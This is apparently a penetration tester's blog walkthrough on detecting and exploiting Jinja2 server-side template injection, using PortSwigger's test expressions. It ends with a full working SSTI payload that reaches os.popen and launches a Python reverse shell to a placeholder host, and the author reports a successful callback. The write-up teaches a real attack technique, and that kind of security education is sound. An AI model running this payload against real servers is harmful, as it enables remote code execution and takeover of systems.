Jinja2 — Server Side Template Injection (SSTI)

5 min readOct 20, 2020


Server-Side Template Injection is a vulnerability commonly that is confused with Cross-Site Scripting (XSS) or just missed entirely. The key difference between SSTI and XSS is that SSTI can be leverage to directly attack the web server and allow for remote code execution, where XSS could potentially only be stored on the web page itself and attack the website’s visitors.

SSTI is applicable due to webpages embedding user input into templates without any input sanitation or through a site attempting to offer better functionality leaving the page vulnerable to SSTI.

There is a methodology for discovering SSTI and is extremley useful for discovering the sort of technology that is being used to help exploiting the vulnerable page.

SSTI may be a possible attack vector whenever you see a page reflecting your input back onto the page. In this proof of concept, I have discovered a web page that accepts user input, but reflects the input on another page hosted on the site.

Creating Input Into “New Message Category”
Confirmation That The Post Was Created

Before creating this post, I ran through some testing of this application with inserting HTML and JavaScript tags but go no execution or easy win. One of the first things I do however is run a dirbuster and try to find anything out of the ordinary.

Utilizing dirsearch.py

With the results of my dirsearch, I find a hidden directory named “archive” but when I visited the page I find that it is blank. However, looking at the page source, something you should ALWAYS DO, I discover that my “Title Header” that I wrote in my message appears with in <item><title> tags. This here is an important discovery and should get your Server-Side Template Injection senses tingling.. lol

Title From Message Being Reflected In Page Source

Now, we must see if we have code execution occurring. Following a link from Portswigger, the creators of Burp, I inject a mathematical expression into the Title Header to see if the web page will perform the calculation for us.

Updating Title To Mathematical Expression
Code Execution Seems To Fail

Going back and looking at the page source, we see that the code execution fails. However, there is a graph shown below, that is provided by Portswigger that allows us to determine what technology is being used. So we ran the first test “{5*5}” and will move onto the failure test using double “{{}}” rather than “{}”.

Portswigger Detection Methodology
Adding Double “{{}}” To Continue Testing

Now visiting the page source again, we discover the web server has executed the expression and given us 25. The last test is to determine if we are working with either Jinja2 or Twig vs. Unknown technology. The way this is determined is by adding ‘’. To be successful, the number inside of the quotes will be reflected the number of times the number in front of “*”. The following is a successful implementation.

Last Code Execution Test To Determine If Jinja2 or Twig
Successful Code Execution

The test passes and the page reflects five 5s. We now know the site is vulnerable to SSTI and the last thing to do is exploit it in a way we can get a remote code execution or possibly a reverse shell.

As ETHICAL hackers, we want to prove to our clients that if their site’s are vulnerable we are able to either disclose data or obtain a shell on their site. With SSTI both are possible. Below I will show how you are capable of obtaining a shell from SSTI.

Since I was able to discover that Jinja2 is probably the framework being utilized for this page, Python becomes crucial due to Python is used for Jinja2. Below is is the command after modifying from reading a file to giving a reverse shell from PayloadsAllTheThings SSTI page.

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"x.x.x.x\",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\", \"-i\"]);'")}}{%endif%}{% endfor %}
Applying Reverse Shell Payload

Instead of visiting the page source, I just refreshed the actual page which still gave back a blank screen. However, going to my netcat listener I started up, I see that I did get a call back and indeed had a reverse shell. WIN!!!


This was something I found really fun and something I will definetly add to my arsenal. I recently began doing bug bountying, so hopefully this is will be something that I’m able to discover in the wild.




Father | Hooper | Sole Collector | Penetration Tester | OSCP | eCPPTv2 | Security+ | AWS Security Cloud Practitioner | SATX | jfoolish_22